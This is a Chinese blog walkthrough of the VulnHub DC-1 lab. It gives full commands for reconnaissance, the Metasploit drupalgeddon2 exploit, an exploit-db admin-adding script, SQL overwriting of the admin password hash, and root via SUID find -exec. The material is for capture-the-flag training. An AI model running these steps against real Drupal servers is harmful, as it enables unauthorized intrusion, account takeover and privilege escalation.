vulnhub-DC-1渗透测试

环境搭建

官网https://download.vulnhub.com/dc/DC-1.zip
将ova直接拖到vmware中,第一次还是失败重试后成功
在这里插入图片描述
刚开始遇到了点小问题,环境搭建好后利用kali nmap扫不到,并且启动靶机时一直报驱动的错。解决方法就是将桥接模式换成NAT模式(“桥接”和“NAT”方式区别),然后移除CD/DVD(IDE)
在这里插入图片描述在这里插入图片描述

思路

首先nmap扫描ip地址及端口号,进入web页面发现一个7版本的Drupal,利用msf中已存的漏洞可以直接打进去并且发现flag1并且提示配置文件,通过配置文件找到flag2并获得一个数据库账号密码,在原有shell前提下利用python稳定一下bash,在数据库中搞一个账号密码在网页进行登陆后就能得到flag3并且提示需要用find提权,同时我们也可以在shadow中找到flag4,shadow中的确有flag4并且密码可以通过爆破搞出来,但这里通过find命令查找有特殊权限suid的命令,利用find命令提权后可在/home下直接拿到flag4,当然最后也在/root下拿到flag5。

题目描述

DC-1是一个专门构建的易受攻击的实验环境,目的是获得渗透测试的经验。

它的设计对初学者来说是一个挑战,但是它的难易程度取决于您的技能和知识以及学习能力。

要成功完成此挑战,您需要具备Linux技能,熟悉Linux命令行以及具有使用基本渗透测试工具(例如可在Kali Linux或Parrot
Security OS上找到的工具)的经验。

有多种获得root的方法,但是,其中包含了一些flag,这些flag包含了一些线索。

总共有五个flag,但是最终目标是在root的主目录中找到并读取该flag。您甚至不需要成为root用户即可执行此操作,但是,您将需要root特权。

根据您的技能水平,您可能可以跳过查找这些标志中的大多数标志并直接寻找根。

初学者可能会遇到他们以前从未遇到过的挑战,但是Google搜索应该是获得完成此挑战所需信息所需要的全部。

渗透测试

kali的地址为192.168.22.128,用arp-scan扫同段其他主机

arp-scan option [rhost]
-f <s>从指定文件中读取主机名或地址
-l从网络接口配置生成地址
-i 各扫描之间的时间差 
-r 每个主机扫描次数
-t <i>设置主机超时时间 
-V显示程序版本并退出
-I<s>使用网络接口 
-g不显示重复的数据
-D显示数据包往返时间

在这里插入图片描述

也可以用nmap扫

sudo nmap -sP 192.168.22.0/24

Nmap中文手册
在这里插入图片描述

知道地址为192.168.22.129,再用nmap扫端口

nmap -sV 192.168.64.0/24

在这里插入图片描述

得到三个端口80web页面,22ssh端口,111RPC端口,访问80端口的页面
在这里插入图片描述

发现是一个Drupal的站点,使用了Drupal框架(Drupal与WordPress,哪个是更好的CMS),这里直接msf上机,查找可以针对Drupal的模块

msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2  //只有两个能用
show options
set  RHOSTS 192.168.22.129
run

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

得到一个会话后,利用会话再得到shell

flag1
cat flag1.txt
Every good CMS needs a config file - and so do you.
每一个好的CMS都需要一个配置文件-你也是。

drupal配置文件的位置是在sites/default/files

cd sites/default/
cat settings.php
flag2

在这里插入图片描述

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?

暴力破解和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。你可以用这些凭据做什么?

既然获得数据库的账号密码那就登录上继续找,不过这里需要先用python转换成标准的shell,否则进入mysql之后shell就没有反应

python -c 'import pty; pty.spawn("/bin/bash")'

这里转换标准shell是起初用的python ‐c "import pty;pty.spawn('/bin/bash')",但是报错显示python: can't open file '‐c': [Errno 2] No such file or directory
在这里插入图片描述

mysql -u dbuser -p R0ck3t
show databases;
use drupaldb;
show tables;
select * from users;
select name,pass from users;

在这里插入图片描述
这里的pass是经过drupal加密,所以到这一步想要搞到可以登陆的账号密码有两种方法

利用msf中攻击脚本

参考Vulnhub靶场DC-1 WP
在这里插入图片描述

searchsploit Drupal 7
python /usr/share/exploitdb/exploits/php/webapps/34992.py -u test -p test -t http://192.168.22.129

在这里插入图片描述

查数据发现已经添加成功
在这里插入图片描述

利用drupal脚本生成加密密码进行替换

利用根目录中的scripts对test(自己想要设置的密码)进行加密,然后修改admin的密码为加密后的test,这里只能在这个目录下,不然会报路径的错

cd /var/www
./scripts/password-hash.sh test  
hash: $S$DVVPB4mtGz78GkvETWehVbaWAt07NaMiP2zxQKY9zN4SVTw85jtL

在这里插入图片描述

update users set pass='$S$DVVPB4mtGz78GkvETWehVbaWAt07NaMiP2zxQKY9zN4SVTw85jtL'
where name='admin';
flag3

在web页面进行登录,在仪表盘里发现flag3
在这里插入图片描述

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS 将帮助查找密码——但您需要-exec 该命令来确定如何获取shadow中的内容。

我们使用find找下具有root权限的suid(【安全科普】Linux提权——利用可执行文件SUID )

 ‐perm 按照文件权限来查找文件
 ‐u=w 基于用户可写查找  //s就是root用户的意思
 ‐type f 查找普通类型文件
find / -perm -u=s -type f 2>/dev/null

可以看到find是可以用来提权的,我们尝试用find执行命令,这里需要注意‐name参数填写的文件名,是需要系统真实存在的(我们知道存在flag4,所以直接用)

find / -name flag4 -exec "/bin/sh" \;

在这里插入图片描述

flag4

在这里插入图片描述
参考Vulnhub靶机实战——DC-1这里使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange,拿到账号密码后可以连接ssh登陆系统,但这里已经拿到了root权限,可以直接进/home中找到flag4
在这里插入图片描述

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy.  Or maybe it is?

你能用同样的方法来查找或访问根目录中的标志吗?
可能。但也许不是那么容易。或许是这样?
flag5

前面通过find拿到root权限,这里同样直接到/root目录下get flag

在这里插入图片描述

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7


做得好!!!!!

希望你喜欢这个并学到了一些新的技能。

你可以让我知道你对这次小旅行的看法。

通过Twitter联系我-@dcau7
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值